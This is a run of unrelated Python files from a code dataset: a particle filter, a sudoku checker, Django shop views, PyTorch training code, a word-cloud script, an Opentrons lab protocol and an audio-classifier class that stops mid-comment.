ParticleFilter:\n def __init__(self,y,n_particle,upsilon2,omega2):\n self.y=y\n self.length=len(y)\n self.length_of_time=len(y)\n self.n_particle=n_particle\n self.upsilon2=upsilon2\n self.omega2=omega2\n self.filtered_value = np.zeros(self.length)\n print('OK!!')\n \n def init_particle(self):\n # x(i)_0|0\n particles = []\n predicts = []\n init=np.random.uniform(400,1600,self.n_particle)\n particles.append(init)\n predicts.append(init)\n return({'particles':particles,'predicts':predicts})\n \n def get_likelihood(self,ensemble,t):\n #今回は正規分布を仮定\n likelihoodes=(1/np.sqrt(2*np.pi*self.omega2))*np.exp((-1/(2*self.omega2))*((self.y[t]-ensemble[t])**2))\n return(likelihoodes)\n \n def one_predict(self,ensemble,t):\n # x(i)_t|t-1\n noise=np.random.normal(0,np.sqrt(self.upsilon2),self.n_particle)\n predict=ensemble[t]+noise\n return(predict)\n \n def filtering(self,ensemble,t):\n # x(i)_t|t\n likelihood=self.get_likelihood(ensemble,t)\n beta=likelihood/likelihood.sum()\n #print('beta',beta)\n filtering_value=np.sum(beta*ensemble[t])\n return({'beta':beta,'filtering_value':filtering_value})\n \n def resumpling(self,ensemble,weight):\n # sample=np.zeros(self.n_particle)\n # for i in range(self.n_particle):\n # sample[i]=np.random.choice(ensemble,p=weight)\n sample=np.random.choice(ensemble,p=weight,size=self.n_particle)\n return(sample)\n \n def simulate(self,seed=123):\n np.random.seed(seed)\n particles=self.init_particle()['particles']\n predicts=self.init_particle()['predicts']\n filtered_value=np.zeros(self.length)\n filtered_value[0]=np.sum(particles[0])/self.n_particle\n for t in np.arange(1,self.length):\n print(\"\\r calculating... t={}\".format(t), end=\"\")\n #一期先予測\n predicts.append(self.one_predict(particles,t-1))\n #フィルタリング\n filtered=self.filtering(predicts,t-1)\n filtered_value[t]=filtered['filtering_value']\n resumple=self.resumpling(predicts[t-1],filtered['beta'])\n particles.append(resumple)\n return({'particles':particles,'predicts':predicts,'filtered_value':filtered_value})\n\n\n# In[ ]:\n\nmodel=ParticleFilter(data,10000,np.exp(7.3),np.exp(9.63))\n\n\n# In[ ]:\n\nresult=model.simulate()\n\n\n# In[ ]:\n\n#plt.figure(figsize=(20,9))\nfor i in range(len(pddata)):\n if i==0:\n plt.scatter(np.zeros(len(result['particles'][i]))+i,result['particles'][i],s=1,color='red',alpha=0.1,label='particle')\n plt.scatter(np.zeros(len(result['particles'][i]))+i,result['particles'][i],s=1,color='red',alpha=0.1)\nplt.plot(data,color='blue',label='y')\nplt.plot(result['filtered_value'],color='green',label='estimate')\nplt.legend()\nplt.ylim(400,2000)\nplt.title('particles = {}, upsilon2 = {}, omega2 = {}'.format(model.n_particle,model.upsilon2,model.omega2))\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n","sub_path":"code/pf.py","file_name":"pf.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"121150535","text":"def isValidate(set_line):\n validate = {\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"}\n return set_line == validate\n\n\ndef sudokuCheck(sudoku):\n\n # 가로줄\n for row in sudoku:\n if not isValidate(set(row)):\n return 0\n\n # 세로줄\n zip_sudoku = list(zip(*sudoku))\n for column in zip_sudoku:\n if not isValidate(set(column)):\n return 0\n\n # 3 x 3 을 3개씩 잡아서 검사\n set1 = set()\n set2 = set()\n set3 = set()\n for idx, row in enumerate(sudoku):\n set1.update(row[:3])\n set2.update(row[3:6])\n set3.update(row[6:])\n if idx in [2, 5, 8]:\n if isValidate(set1) and isValidate(set2) and isValidate(set3):\n return 1\n else:\n return 0\n # 다음 3개 하기 전 초기화\n set1 = set()\n set2 = set()\n set3 = set()\n\n\nT = int(input())\n\nfor t in range(1, T+1):\n sudoku = []\n for _ in range(9):\n sudoku.append(input().split())\n\n print(f\"#{t} {sudokuCheck(sudoku)}\")\n","sub_path":"PYTHON/SWEXPERT/익스퍼트미분류/D2/1974_스도쿠_검증/1974_1.py","file_name":"1974_1.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"97767991","text":"from django.shortcuts import render,redirect,get_object_or_404\nfrom .models import signupit,mobile_spec,cart,buy_mobiles\nfrom django.contrib.auth import login,logout\nfrom django.contrib.auth.models import auth,User\n\n# Create your views here.\ndef home(request):\n mobiles=mobile_spec.objects.all()\n print(mobiles)\n return render(request,'ECommerce/homepage.html',{'mobiles':mobiles})\n\ndef signup(request):\n if request.method=='GET':\n return render(request,'ECommerce/signup.html')\n else:\n username=request.POST.get('username')\n password1=request.POST.get('password1')\n password2=request.POST.get('password2')\n email=request.POST.get('email')\n first_name=request.POST.get('first_name')\n last_name=request.POST.get('last_name')\n user=User.objects.create_user(username=username,password=password1,email=email,first_name=first_name,last_name=last_name)\n user.save()\n auth.login(request,user)\n return render(request,'ECommerce/homepage.html')\n\ndef login(request):\n if request.method=='GET':\n return render(request,'ECommerce/login.html')\n else:\n username=request.POST.get('username')\n password=request.POST.get('password1')\n user=auth.authenticate(username=username,password=password)\n if user is not None:\n auth.login(request,user)\n return redirect(home)\n else:\n return render(request,'ECommerce/login.html',{'error':'invalid'})\n\ndef logout(request):\n auth.logout(request)\n return redirect('home')\n\ndef specifications(request,mobile_pk):\n mobile=mobile_spec.objects.filter(pk=mobile_pk)\n return render(request,'ECommerce/specifications.html',{'mobile':mobile})\n\ndef carts(request):\n if request.method=='GET': \n mobiles=cart.objects.filter(user=request.user)\n mlist=[]\n for mobile in mobiles:\n m1=mobile.cart_models.all()\n print('This is m1',m1)\n for m3 in m1:\n print('This is m3: ',m3)\n m2=mobile_spec.objects.all()\n for m in m2:\n print('This is m:',m)\n if m==m3:\n print('matched')\n mlist.append(m)\n print(mlist)\n #if m not in mlist:\n # mlist.insert(m) \n return render(request,'Ecommerce/cart.html',{'mlist':mlist}) \n\ndef add_to_cart(request,addmobile_pk):\n m4=mobile_spec.objects.filter(pk=addmobile_pk)\n print(m4)\n a1=cart(user=request.user)\n a1.save()\n p1=a1.cart_models.set(m4)\n return redirect('home')\n\ndef remove_from_cart(request,remove_mobile_pk):\n if request.method=='POST':\n m5=cart.objects.filter(user=request.user)\n m6=mobile_spec.objects.filter(pk=remove_mobile_pk)\n for m7 in m5: \n m8=m7.cart_models.all()\n for m9 in m8:\n for m10 in m6:\n print('this is m8',m8)\n print('this is m6',m6)\n print('this is m9',m9)\n print('this is m10',m10)\n if m10.model==m9.model:\n print('matched delete it',m7)\n m7.delete()\n return redirect('home')\n\ndef buy_now(request,buy_pk):\n mobile=mobile_spec.objects.filter(pk=buy_pk)\n return render(request,'ECommerce/buy_now.html',{'mobile':mobile})\n\ndef buy(request,order_pk):\n if request.method=='POST':\n m4=mobile_spec.objects.filter(pk=order_pk)\n print(m4)\n quantity1=request.POST.get('quantity')\n address1=request.POST.get('address')\n print('quantity',quantity1)\n print('address',address1)\n order=buy_mobiles(quantity=quantity1,address=address1,user=request.user)\n order.save()\n order1=order.cart_models.set(m4)\n return redirect('home')\n\ndef search(request):\n search=request.POST.get('search')\n m3=mobile_spec.objects.filter(model=search)\n print(m3)\n if m3.exists() :\n print('none')\n return render(request,'ECommerce/homepage.html',{'m3':m3})\n else:\n return render(request,'ECommerce/homepage.html',{'error':'page not found'})\n \n\n\n\n\n","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"72001833","text":"import torch\nfrom torch import nn\n\nimport modules\nfrom datetime import datetime\n\nclass Embeddings(nn.Module):\n def __init__(self, embedding_dim=64):\n super(Embeddings, self).__init__()\n self.embedding_dim = embedding_dim\n self.embeddings_holiday = modules.CharacterEmbeddings(12, embedding_dim)\n self.embeddings_weather = modules.CharacterEmbeddings(11, embedding_dim)\n self.embeddings_weather_detail = modules.CharacterEmbeddings(38, embedding_dim)\n self.embeddings_month = modules.CharacterEmbeddings(12, embedding_dim)\n self.embeddings_dayofweek = modules.CharacterEmbeddings(7, embedding_dim)\n self.embeddings_hour = modules.CharacterEmbeddings(24, embedding_dim)\n\n def forward(self, data_dict):\n embed1 = self.embeddings_holiday.forward(data_dict['code_holiday'])\n embed2 = self.embeddings_weather.forward(data_dict['code_weather'])\n embed3 = self.embeddings_weather_detail.forward(data_dict['code_weather_detail'])\n embed4 = self.embeddings_month.forward(data_dict['code_month'])\n embed5 = self.embeddings_dayofweek.forward(data_dict['code_dayofweek'])\n embed6 = self.embeddings_hour.forward(data_dict['code_hour'])\n return torch.cat([embed1, embed2, embed3, embed4, embed5, embed6], 1)\n\nclass Predictor(nn.Module):\n def __init__(self):\n super(Predictor, self).__init__()\n self.linears = modules.LinearSeq(561, [1024, 128, 64, 32, 16, 6], activation_list=['relu', 'relu', 'relu', 'relu', 'relu', 'logsoftmax'])\n # self.linears = modules.LinearSeq(28, [32, 1], activation_list=['relu', None])\n\n def train(self, x_train, y_train, criterion, optimizer, num_epochs=1000):\n # hparams\n batch_size = 256\n\n # 1. set device\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n # device = 'cpu'\n print('device:', device)\n x_train = x_train.to(device)\n y_train = y_train.to(device)\n\n # 2. network to device\n self.to(device)\n\n # 3. loop over epoch\n with torch.autograd.set_detect_anomaly(True):\n for epoch in range(num_epochs):\n start = datetime.now()\n print('---------------\\nEpoch ', epoch + 1, '\\n')\n epoch_loss = .0\n\n num_batches = x_train.size(0) // batch_size\n\n # 3.1 loop over batch\n batch_count = 0\n while True:\n if batch_count < num_batches:\n batch = x_train[batch_size * batch_count: batch_size * (batch_count + 1)]\n labels = y_train[batch_size * batch_count: batch_size * (batch_count + 1)].squeeze()\n else:\n batch = x_train[batch_size * batch_count:]\n labels = y_train[batch_size * batch_count:].squeeze()\n # print('Epoch:', epoch+1, '/', num_epochs, 'Batch:', batch_count, '/', num_batches)\n # 3.1.0 initialize grads\n optimizer.zero_grad()\n\n # 3.1.1 linears\n preds = self.linears.forward(batch)\n\n # 3.1.3 calc batch loss\n loss = criterion(preds, labels)\n\n # 3.1.4 calc grads\n loss.backward(retain_graph=True)\n\n # 3.1.5 update model params\n optimizer.step()\n\n # 3.1.6 add batch loss to epoch loss\n epoch_loss += loss.item() * batch.size(0)\n # print('epoch loss: ', epoch_loss)\n\n batch_count += 1\n if batch_count > num_batches:\n break\n end = datetime.now()\n # 3.2 calc epoch loss\n epoch_loss /= x_train.size(0)\n print('Epoch', epoch + 1, 'average loss:', epoch_loss, 'elapsed:', (end - start).seconds + round(\n (end - start).microseconds / 1000000, 2))\n\n def eval(self, x_test):\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n # device = 'cpu'\n self.to(device)\n print('device:', device)\n x_test = x_test.to(device)\n with torch.no_grad():\n preds = self.linears.forward(x_test)\n return preds.max(dim=1)[1] + 1 # returns max index + 1\n\n# class Tacotron2(nn.Module):\n# def __init__(self, *args):\n# super(Tacotron2, self).__init__()\n# self.encoder = tacotron.modules.Encoder(*args)\n# self.attention = tacotron.modules.LocationSensitiveAttention(*args)\n# self.decoder = tacotron.modules.Decoder(*args)\n#\n # def pseudo_train(self, criterion, optimizer, num_epochs=100):\n # # 1. set device\n # device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n # print('device:', device)\n #\n # # 2. network to device\n # self.to(device)\n # batch_size = 4\n # max_input_length = 100\n # input_character_indices = torch.randint(0, 30, [3, batch_size, max_input_length])\n # labels = (torch.rand_like(self.decoder.spectrogram_pred),\n # torch.rand_like(self.decoder.spectrogram_length_pred.type(torch.float32)))\n #\n # # 3. loop over epoch\n # with torch.autograd.set_detect_anomaly(True):\n # for epoch in range(num_epochs):\n # print('---------------\\nEpoch ', epoch + 1, '\\n')\n # epoch_loss = .0\n # epoch_correct = 0\n #\n # # 3.1 loop over batch\n # for batch in input_character_indices:\n # # 3.1.0 initialize grads and decoder attributes\n # optimizer.zero_grad()\n # self.decoder.reset(batch_size)\n #\n # # 3.1.1 encoder\n # encoder_output, (encoder_h_n, encoder_c_n) = self.encoder(batch)\n # self.attention.h = encoder_output\n # h_prev_1 = self.decoder.h_prev_1.clone()\n # stop_token_cum = self.decoder.stop_token_cum.clone()\n #\n # # 3.1.2 loop over decoder step\n # for decoder_step in range(self.decoder.max_output_time_length):\n # print('\\n---------------------', 'decoder step: ', decoder_step + 1)\n # context_vector = self.attention.forward(h_prev_1, stop_token_cum)\n # h_prev_1, stop_token_cum = self.decoder.forward(context_vector)\n # if not any(\n # stop_token_cum): # stop decoding if no further prediction is needed for any samples in batch\n # break\n #\n # # 3.1.3 calc batch loss\n # length_pred_norm = self.decoder.spectrogram_length_pred.type(\n # torch.float32) / self.decoder.max_output_time_length\n # preds = (self.decoder.spectrogram_pred, length_pred_norm)\n # loss = criterion(preds, labels)\n #\n # # 3.1.4 calc grads\n # loss.backward()\n #\n # # 3.1.5 update model params\n # optimizer.step()\n #\n # # 3.1.6 add batch loss to epoch loss\n # epoch_loss += loss.item() * batch.size(0)\n #\n # # 3.2 calc epoch loss\n # epoch_loss /= input_character_indices.size(0) * input_character_indices.size(1)\n\n # def train(self, dataloaders_dict, criterion, optimizer, num_epochs=100):\n # # 1. set device\n # device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n # print('device:', device)\n # # 2. network to device\n # self.net.to(device)\n # # 3. loop over epoch\n # for epoch in range(num_epochs):\n # for phase in ['train', 'val']:\n # if phase == 'train':\n # self.net.train()\n # else:\n # self.net.eval()\n #\n # # 5. initialize loss per phase\n # epoch_loss = .0\n # epoch_correct = 0\n #\n # # 7. iterate dataloader\n # for input_character_indices, spectrogram_labels in tqdm(\n # dataloaders_dict[phase]): # dataloader는 자체로 iterable\n # # 8. dataset to device\n # input_character_indices = input_character_indices.to(device)\n # spectrogram_labels = spectrogram_labels.to(device)\n #\n # # 9. initialize grad\n # optimizer.zero_grad()\n #\n # # 10. forward\n # with torch.set_grad_enabled(\n # mode=(phase == 'train')): # enable grad only when training # with + context_manager\n # # Encoder\n # encoder_output, (encoder_h_n, encoder_c_n) = self.encoder.forward(input_character_indices)\n # # Attention&Decoder\n # self.attention.h = encoder_output # attention.h.Size([input length, batch, encoder output units])\n # self.decoder.reset(batch_size)\n # h_prev_1, stop_token_cum = self.decoder.h_prev_1, self.decoder.stop_token_cum # Local variable to speed up\n # for decoder_step in range(self.decoder.max_output_time_length):\n # print('\\n---------------------', 'decoder step: ', decoder_step + 1)\n # context_vector = self.attention.forward(h_prev_1, stop_token_cum)\n # h_prev_1, stop_token_cum = self.decoder.forward(context_vector)\n # if not any(stop_token_cum): # stop decoding if no further prediction is needed for any samples in batch\n # break\n #\n # # Calc loss\n # loss = criterion(self.decoder.spectrogram_pred, spectrogram_labels)\n #\n # # 11. (training)calc grad\n # if phase == 'train':\n # loss.backward()\n # # 12. (training)update parameters\n # optimizer.step()\n #\n # # 13. add loss and correct per minibatch per phase\n # epoch_loss += loss.item() * input_character_indices.size(0)\n #\n # # 14. print epoch summary\n # epoch_loss /= len(dataloaders_dict[phase].dataset) ## len(dataloader): num of datum\n #\n # print('Epoch loss: {:.4f}'.format(epoch_loss))\n\n\n# def checkup():\n# taco = Tacotron2()\n# criterion = tacotron.loss_function.Taco2Loss()\n# optimizer = torch.optim.Adam(taco.parameters())\n# taco.pseudo_train(criterion=criterion,\n# optimizer=optimizer,\n# num_epochs=3)\n#\n#\n# checkup()\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":11140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"397149640","text":"import jieba\nfrom PIL import Image\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\n\n#读取文件\ntext = open(r'test.txt','r').read()\n#使用结巴截取单词\nresult_word = jieba.cut(text,cut_all=True)\n#存放截取的单词\nstr = []\n#读取截取的单词并存放到str中\nfor item in result_word:\n if len(item) >= 1 and item != '\\r\\n':\n str.append(item)\n#存放所有的单词-->key:单词、value：单词出现的次数\ndict = {}\n#统计数组中每个单词出现的次数并将其存放到dict字典中\nfor key in str:\n dict[key] = dict.get(key, 0) + 1\nprint(dict)\n#我们需要的模板图片\nalice_coloring = np.array(Image.open(r\"alice_color.png\"))\n#使用wordcloud的WorldCloud\nwc = WordCloud(background_color=\"white\", max_words=2000,mask=alice_coloring,stopwords=STOPWORDS.add(\"said\"), max_font_size=40,random_state=42)\n\nwc.generate_from_frequencies(dict)\nplt.imshow(wc)\nplt.axis(\"off\")\nplt.show()\nwc.to_file(\"result.png\")","sub_path":"test2/8-11/practice9.py","file_name":"practice9.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"267737952","text":"import os\n# heroku config:set HEROKU=1\n# so we can run debug mode locally, not on heroku\nIS_HEROKU = os.environ.get('HEROKU') == 1\n\nDEFAULT_OUTPUT_FILE = 'output/data.json'\n\nSITES = ['http://news.yahoo.com/',\n 'https://news.google.com/',\n 'http://www.huffingtonpost.com/',\n 'http://www.cnn.com/',\n 'http://www.nytimes.com/']","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"91178954","text":"import uuid\n\nfrom setuptools import setup\nfrom pip.req import parse_requirements\n\nimport versioneer\n\nrequirements = [str(ir.req) for ir in parse_requirements('requirements.txt', session=uuid.uuid1())]\n\nDATA_FILES = [\n 'requirements.txt',\n 'versioneer.py',\n]\n\nTEST_DEPS = [\n 'nose',\n 'nose-parameterized',\n 'mock',\n]\n\nsetup(\n name='pysteam',\n version=versioneer.get_version(),\n cmdclass=versioneer.get_cmdclass(),\n description='Python library to work with Steam',\n url='http://github.com/scottrice/pysteam',\n author='Scott Rice',\n author_email='',\n license='MIT',\n packages=['pysteam'],\n install_requires=requirements,\n data_files=DATA_FILES,\n dependency_links=[\n ],\n zip_safe=False,\n test_suite='nose.collector',\n tests_require=TEST_DEPS,\n extras_require={'test': TEST_DEPS},\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"151319865","text":"import os\nimport json\nimport math\n\n\n# metadata\nmetadata = {\n 'protocolName': 'Redo Replacement Picking (Greiner MASTERBLOCK 96 Well \\\nPlate 1000 µL)',\n 'author': 'Nick ',\n 'source': 'Custom Protocol Request',\n 'apiLevel': '2.11'\n}\n\n\ndef run(ctx):\n\n tip_track = True\n\n [input_file, input_file2, tuberack_scan, plate_scan, tuberack_scan2,\n plate_scan2, default_disposal_vol, default_transfer_vol,\n p300_mount] = get_values( # noqa: F821\n 'input_file', 'input_file2', 'tuberack_scan', 'plate_scan',\n 'tuberack_scan2', 'plate_scan2', 'default_disposal_vol',\n 'default_transfer_vol', 'p300_mount')\n\n # load labware\n rack = ctx.load_labware('eurofins_96x2ml_tuberack', '2', 'tuberack')\n\n plates = [ctx.load_labware('greinermasterblock_96_wellplate_1000ul', '4')]\n\n if input_file2:\n plates.append(\n ctx.load_labware('greinermasterblock_96_wellplate_1000ul', '1'))\n\n tips300 = [\n ctx.load_labware('opentrons_96_tiprack_300ul', slot)\n for slot in ['11']]\n\n # pipette\n p300 = ctx.load_instrument('p300_single_gen2', p300_mount,\n tip_racks=tips300)\n\n tip_log = {val: {} for val in ctx.loaded_instruments.values()}\n\n folder_path = '/data/tip_track'\n tip_file_path = folder_path + '/tip_log.json'\n if tip_track and not ctx.is_simulating():\n if os.path.isfile(tip_file_path):\n with open(tip_file_path) as json_file:\n data = json.load(json_file)\n for pip in tip_log:\n if pip.name in data:\n tip_log[pip]['count'] = data[pip.name]\n else:\n tip_log[pip]['count'] = 0\n else:\n for pip in tip_log:\n tip_log[pip]['count'] = 0\n else:\n for pip in tip_log:\n tip_log[pip]['count'] = 0\n\n for pip in tip_log:\n if pip.type == 'multi':\n tip_log[pip]['tips'] = [tip for rack in pip.tip_racks\n for tip in rack.rows()[0]]\n else:\n tip_log[pip]['tips'] = [tip for rack in pip.tip_racks\n for tip in rack.wells()]\n tip_log[pip]['max'] = len(tip_log[pip]['tips'])\n\n def _pick_up(pip, loc=None):\n if tip_log[pip]['count'] == tip_log[pip]['max'] and not loc:\n ctx.pause('Replace ' + str(pip.max_volume) + 'µl tipracks before \\\nresuming.')\n pip.reset_tipracks()\n tip_log[pip]['count'] = 0\n if loc:\n pip.pick_up_tip(loc)\n else:\n pip.pick_up_tip(tip_log[pip]['tips'][tip_log[pip]['count']])\n tip_log[pip]['count'] += 1\n\n # check barcode scans (tube, plate)\n tuberack_bar, plate_bar = input_file.splitlines()[3].split(',')[:2]\n if not tuberack_scan[:len(tuberack_scan)-4] == tuberack_bar.strip():\n print(tuberack_scan[:len(tuberack_scan)-4])\n raise Exception(f'Tuberack scans do not match ({tuberack_bar}, \\\n{tuberack_scan})')\n if not plate_scan[:len(plate_scan)-4] == plate_bar.strip():\n raise Exception(f'Plate scans do not match ({plate_bar}, {plate_bar})')\n\n if input_file2:\n tuberack_bar2, plate_bar2 = input_file2.splitlines()[3].split(',')[:2]\n if not tuberack_scan2[:len(tuberack_scan2)-4] == tuberack_bar2.strip():\n print(tuberack_scan2[:len(tuberack_scan2)-4])\n raise Exception(f'Tuberack2 scans do not match ({tuberack_bar2}, \\\n {tuberack_scan2})')\n if not plate_scan2[:len(plate_scan2)-4] == plate_bar2.strip():\n raise Exception(\n f'Plate2 scans do not match ({plate_bar2}, {plate_bar2})')\n\n # parse\n inputdata = [[\n [val.strip() for val in line.split(',')]\n for line in input_file.splitlines()[4:]\n if line and line.split(',')[0].strip()]]\n\n tubelist = [[\n well for col in rack.columns()\n for well in col[:8]]]\n\n if input_file2:\n\n inputdata.append([\n [val.strip() for val in line.split(',')]\n for line in input_file2.splitlines()[4:]\n if line and line.split(',')[0].strip()])\n\n tubelist.append([\n well for col in rack.columns()\n for well in col[8:]])\n\n for data, plate, tubes_ordered in zip(inputdata, plates, tubelist):\n for line in data:\n tube = tubes_ordered[int(line[0])-1]\n well = plate.wells()[int(line[1])-1]\n if len(line) >= 3 and line[2]:\n disposal_vol = float(line[2])\n else:\n disposal_vol = default_disposal_vol\n if len(line) >= 4 and line[3]:\n transfer_vol = float(line[3])\n else:\n transfer_vol = default_transfer_vol\n\n # remove contents of well\n _pick_up(p300)\n\n ctx.max_speeds['A'] = 100 # slow descent\n ctx.max_speeds['Z'] = 100 # slow descent\n\n # effective tip capacity 280 with 20 uL air gap\n reps = math.ceil(disposal_vol / 280)\n\n vol = disposal_vol / reps\n\n for rep in range(reps):\n p300.move_to(well.top())\n p300.air_gap(20)\n p300.aspirate(vol, well.bottom(1))\n p300.dispense(\n vol+20, ctx.fixed_trash.wells()[0].top(-5), rate=1.5)\n ctx.delay(seconds=1)\n\n # to improve completeness of removal\n for clearance in [0.7, 0.4, 0.2, 0]:\n p300.aspirate(20, well.bottom(clearance))\n\n del ctx.max_speeds['A'] # reset to default\n del ctx.max_speeds['Z'] # reset to default\n\n p300.drop_tip()\n\n # transfer tube to well\n _pick_up(p300)\n\n # effective tip capacity 280 with 20 uL air gap\n reps = math.ceil(transfer_vol / 280)\n\n vol = transfer_vol / reps\n\n for rep in range(reps):\n p300.move_to(tube.top())\n p300.air_gap(20)\n p300.aspirate(vol, tube.bottom(0.2))\n p300.dispense(vol+20, well.top(-1), rate=1.5)\n ctx.delay(seconds=1)\n\n p300.drop_tip()\n\n # track final used tip\n if not ctx.is_simulating():\n if not os.path.isdir(folder_path):\n os.mkdir(folder_path)\n data = {pip.name: tip_log[pip]['count'] for pip in tip_log}\n with open(tip_file_path, 'w') as outfile:\n json.dump(data, outfile)\n","sub_path":"protocols/121d15-2-96-Greiner-1000/redoreplacementpicking.ot2.apiv2.py","file_name":"redoreplacementpicking.ot2.apiv2.py","file_ext":"py","file_size_in_byte":6536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"22325254","text":"n = int(input())\ndic = (i for i in range(n))\nwhile True:\n ip = input()\n if ip == 'HELP':\n break\n if ip not in ('YES', 'NO', 'HELP'):\n mlp = set(map(int, input().split()))\n if ip == 'YES':\n dic = dic & mlp\n if ip == 'NO':\n dic = dic - mlp\nprint(*dic)\n","sub_path":"files/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"395228988","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division, print_function\nimport collections\nimport json\nimport logging\nimport os\nimport time\nimport warnings\nimport copy\nimport sys\nimport threading\nimport librosa\nimport numpy as np\nimport sounddevice as sd\nimport queue\nimport os\n\n\nimport soundfile as sf\nclass confirmIdentity:\n\n ###########################################################################################\n ###########################################################################################\n #Adding constants for the audio.###########################################################\n ###########################################################################################\n ###########################################################################################\n\n ROOT_FILE_PATH = os.path.dirname(os.path.realpath(__file__)) #The path where this file is located.\n\n MODEL_LABELS_PATH = ROOT_FILE_PATH + '/model_labels.json' #The location of model labels.\n\n MODEL_H5_PATH = ROOT_FILE_PATH + '/model.h5' #The location of model.h5 file.\n\n MODEL_JSON_PATH = ROOT_FILE_PATH + '/model.json' #The location of model.json file.\n\n AUDIO_DEVICE = 0 # Recording device name as listed by `python -m sounddevice`\n\n AUDIO_DURATION = 10 # Duration of audio material to retain, in seconds\n\n SAMPLING_RATE = 44100# Audio sampling rate, other parameters are hand-tuned for 44.1 kHz\n\n CHUNK_SIZE = 882 # Spectrogram hop_size, 882 samples @ 44.1 kHz = 20 ms\n FFT_SIZE = 2 * CHUNK_SIZE # Spectrogram FFT window length\n BLOCK_SIZE = 16 * CHUNK_SIZE # Size of sound device audio capture buffer\n PREDICTION_STEP = 5 # How often new predictions should be output, in blocks\n PREDICTION_STEP_IN_MS = int(PREDICTION_STEP * BLOCK_SIZE / SAMPLING_RATE * 1000)\n SEGMENT_LENGTH = 100 # Lookback window for classification, in chunks, 100 @ 20 ms = 2 s\n\n PROCESSING_DELAY = 0 # Audio streaming delay compensation, in processing steps\n\n MEL_BANDS = 80 # Number of mel frequency bands\n MEL_FREQS = librosa.core.mel_frequencies(n_mels=MEL_BANDS)\n\n AUDIO_MEAN = 20.0\n AUDIO_STD = 20.0\n\n Overlap = int(BLOCK_SIZE/2)\n\n\n\n\n\n ###########################################################################################\n ###########################################################################################\n #Adding constants for the audio.###########################################################\n ###########################################################################################\n ###########################################################################################\n logger = None\n signal = None\n spectoram = None\n audio_queue = None\n last_chunk = None\n predictions = None\n live_audio_feed = None\n model = None\n q = None\n event = None\n\n def __init__(self):\n self.q = queue.Queue(maxsize=self.BLOCK_SIZE)\n self.event = threading.Event()\n\n\n logging.basicConfig(level=logging.DEBUG)\n self.logger = logging.getLogger(__name__)\n\n with open(self.MODEL_LABELS_PATH, 'r') as labels_file:\n self.labels = json.load(labels_file)\n\n\n self.signal = np.zeros((self.AUDIO_DURATION * self.SAMPLING_RATE, 1), dtype='float32')\n self.spectrogram = np.zeros((self.MEL_BANDS, self.AUDIO_DURATION * self.SAMPLING_RATE // self.CHUNK_SIZE), dtype='float32')\n self.audio_queue = collections.deque(maxlen=1000) # Queue for incoming audio blocks\n self.last_chunk = np.zeros((self.CHUNK_SIZE, 1), dtype='float32') # Short term memory for the next step\n\n self.predictions = np.zeros((len(self.labels), self.AUDIO_DURATION * self.SAMPLING_RATE // (self.BLOCK_SIZE * self.PREDICTION_STEP)), dtype='float32')\n self.live_audio_feed = collections.deque(maxlen=1)\n self.model = None\n\n\n\n def get_raspberry_stats(self):\n freq = None\n temp = None\n try:\n with open('/sys/class/thermal/thermal_zone0/temp', 'r') as file:\n temp = int(file.read())\n temp /= 1000.\n temp = np.round(temp, 1)\n temp = '{}\\'C'.format(temp)\n with open('/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq', 'r') as file:\n freq = int(file.read())\n freq /= 1000.\n freq = '{} MHz'.format(int(freq))\n except:\n pass\n\n return temp, freq\n\n def get_predictions(self):\n print(self.predictions)\n\n\n def start(self, pathToAudioFile):\n self.targetsToStore = []\n # Import classifier model\n self.logger.info('Initializing a convolutional neural network model...')\n global model\n\n THEANO_FLAGS = ('device=cpu,'\n 'floatX=float32,'\n 'dnn.conv.algo_bwd_filter=deterministic,'\n 'dnn.conv.algo_bwd_data=deterministic')\n\n os.environ['THEANO_FLAGS'] = THEANO_FLAGS\n os.environ['KERAS_BACKEND'] = 'theano'\n\n import keras\n keras.backend.set_image_dim_ordering('th')\n\n with open(self.MODEL_JSON_PATH, 'r') as file:\n cfg = file.read()\n model = keras.models.model_from_json(cfg)\n\n model.load_weights(self.MODEL_H5_PATH)\n self.logger.debug('Loaded Keras model with weights.')\n\n #Import recorded autio and distribute as chunks.\n for block in sf.blocks(pathToAudioFile, blocksize=self.BLOCK_SIZE, overlap=self.Overlap, dtype='float32', always_2d=True):\n self.audio_queue.append(copy.deepcopy(block))\n print(np.shape(block))\n\n blocks = []\n processing_queue = collections.deque()\n # Process incoming audio blocks\n keepGoing = True\n while keepGoing:\n if(self.audio_queue.__len__() < 1):\n keepGoing = False\n\n while len(self.audio_queue) > 0 and len(blocks) < self.PREDICTION_STEP:\n blocks.append(self.audio_queue.popleft())\n if len(blocks) == self.PREDICTION_STEP:\n new_audio = np.concatenate(blocks)\n\n # Populate audio for 